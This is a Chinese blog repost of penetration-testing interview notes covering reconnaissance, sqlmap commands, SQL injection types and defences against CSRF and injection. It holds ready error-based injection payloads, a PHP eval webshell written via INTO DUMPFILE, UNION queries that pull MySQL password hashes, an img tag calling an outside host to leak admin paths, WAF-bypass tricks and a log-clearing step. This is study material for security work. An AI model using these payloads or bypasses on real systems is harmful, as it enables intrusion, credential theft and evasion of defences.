给你一个网站你是如何来渗透测试的?_少年白char的博客-程序员秘密

技术标签: 渗透测试  


以下内容出自i春秋社区

在获取书面授权的前提下。
1)信息收集,
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

6,google hack 进一步探测网站的信息,后台,敏感文件

        7,使用钟馗之眼查询网站所用的组件,常用CMS

2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其他权限
4)权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结报告及修复方案


sqlmap,怎么对一个注入点注入?
1)如果是get型号,直接,sqlmap -u "诸如点网址".
2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r "文件地址"


nmap,扫描的几种方式


sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入


报错注入的函数有哪些?
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)


盲注和延时注入的共同点?
都是一个字符一个字符的判断


如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等


sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\\wwwroot\baidu.com\nvhack.php';


如何防止CSRF?
1,验证referer
2,验证token
详细:浅谈cnode社区如何防止csrf攻击 - CNode技术社区


owasp 漏洞都有哪些?
1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发


SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。


代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
1,远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg

<img src=http://xss.tv/1.jpg> 

会以php方式来解析



代码审计
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function


文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等


命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()



绕过walf


1、关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。


2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/*!/就Fack了,所以只限于安全狗。比如:/*!select*/


3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。


4,绕过策略一:伪造搜索引擎


早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎


5,360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截


1. GET /pen/news.php?id=1 union select user,password from mysql.user


1. GET /pen/news.php/admin?id=1 union select user,password from mysql.user


1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user


6,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。


7,参数绕过,复制参数,id=1&id=1


用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格


8,内联注释,


文件上传,复制文件包一份再加一份


在 form-data;后面增加一定的字符
宽字符注入


宽字符:解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u011342224/article/details/80084077

智能推荐

java序列化及项目中常用的序列化工具比较_至臻于勤-大道至简的博客-程序员秘密_setfallbackinstantiatorstrategy

1.我们知道在java中有序列化的概念      序列化的过程就是将对象转变成字节码,反序列化即是从字节码转换成对象的过程一般情况下要求实现Serializable接口,此接口中没有定义任何成员,只是起到标记对象是否可以被序列化的作用。为何需要有序列化呢?一方面是为了存储在磁盘中,另一个作用就是作为网络远程传输的内容。2.java中实现序列化 需要类实现了Serializable或External...

FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.MoveTask_maoduntt的博客-程序员秘密

Hive报错使用datagrip操作hive,源hql是为分区表插数据,load data local inpath '***' into table ***。先看hive日志。日志配置在hive conf文件架中hive-log4j.properties文件的hive.log.dir中。粗略看一眼,最后一行内容为。exec.Task (SessionState.java:pr...

java连接数据库失败:java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: YES)..._JOKER0707的博客-程序员秘密

说一下我的情况:  在测试环境中运行没有任何问题,但是导出war包之后,就将war包上传到线上服务器的webapps目录下,然后启动Tomcat,等待Tomcat将上传的war包解压(此时Tomcat没有启动成功,因为用户名和密码不正确),之后我手动修改了解压之后的数据库连接配置文件,然后再重启Tomcat,发现Tomcat启动失败,报错信息就是题目中的数据库用户名密码不正确。 ...

GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别 以及虚拟键值_cbbbc的博客-程序员秘密_getkeyboardstate

GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别:1、BOOL GetKeyboardState( PBYTE lpKeyState );获得所有的256个键(键盘按键、鼠标按键等等)的状态,lpKeyState是指向一个256bit的数组,存放所有键的状态。2、SHORT GetAsyncKeyState( int vKey );判断V

关于新增_Ruan丶权酒歌的博客-程序员秘密_怎么判断是否新增成功

开发工具与关键技术:MVC作者:胡名权撰写时间:2019年7月27日关于新增,也是作为程序猿常用的增删查改里一种。那么这里我们就来探讨一些关于新增的有关知识。新增有些是以模态框的形式弹出,然后进行新增操作;还有的就是直接一个表单,不需要弹出模态框。弹出模态框的话会比直接新增多几句代码,要是还有下拉框的绑定就会多些。不管有模态框与否,我们的新增还是要用到这些的:首先我们要给新增的form...

随便推点

第7节 蒙卡模拟计算路径依赖型期权价格_bifnhlp的博客-程序员秘密

第7节 蒙卡模拟计算路径依赖型期权价格7.1 简介7.2 蒙卡模拟计算回望/亚式期权算法7.3 算法 Python 代码实现7.4 计算示例7.5 相关说明7.5.1 由均匀分布产生正态分布随机数7.5.2 蒙卡模拟结果与解析解比较7.6 参考资料 7.1 简介&nbsp; &nbsp; &nbsp; &nbsp;蒙特卡罗模拟计算期权价格是将股票价格变化过程离散化,通过随机数产生器对每一小段股价变化进行抽样,累计得到一次股价变化过程抽样结果,然后计算出对应的期权价格。进行多次

淡定心态_hyhu的博客-程序员秘密

经过一段时间的风光无限,背后的空虚却如老朋友一般,再次如约而至。担心未来的职业规划,担心未来的生活,担心经济危机下的发展是不是存在更多的不确定。在空虚的同时,发现已经很久没有认真的读一本书了,淡定心态不是一句口号,也不是一种态度,而是认认真真去工作,学习的一种方式。 在喊出淡定的N年后,决定认认真真的读几本书。 我们的目标是:能力大于role.列一些书单吧:《从程序员到CTO的职业规划》 -

通信教程 | 串口丢数据常见的原因_嵌入式Linux,的博客-程序员秘密

UART:Universal Asynchronous Receiver / Transmitter,通用异步收发传输器,即我们通常说的串口。串口是工程师最常用的串行外设之一,但在实际应用...

使用symbolicatecrash解析crash log日志_gavinoy的博客-程序员秘密

普遍使用的方法是用symbolicatecrash来解析crash log:导出crash log 通过Xcode的Organizer查看某台iphone设备的DeviceLog,选择需要的crash log,导出XXX.crash文件。用symbolicatecrash来解析crash log:1.首先找到​symbolicatecrash所在目录路径xcod

cacti原理和安装_weixin_33834679的博客-程序员秘密

Network MonitoringSNMPcommandremote script(ssh)SNMP(监控工具)RRDTool(绘图)cacti(php)展示时间序列数据Nagioson-&gt;OffSimple Network Management Protocol(SNMP)The core of SNMP is a simple set of operations (and the...

阿里云ECS部署Flask(Nginx,gunicorn,supervisor,fabric,ubuntu16.04)_cod16xx的博客-程序员秘密

一、编写fabric脚本fabric只支持python2,只需要在开发机子上安装python2,服务器不需要 编写fabric脚本,把flask程序打包并上传到阿里云ECS的ubuntu服务器 针对狗书编写的脚本如下:# -*- coding: utf-8 -*-import os, refrom datetime import datetimefrom fabric.api import

推荐文章

热门文章

相关标签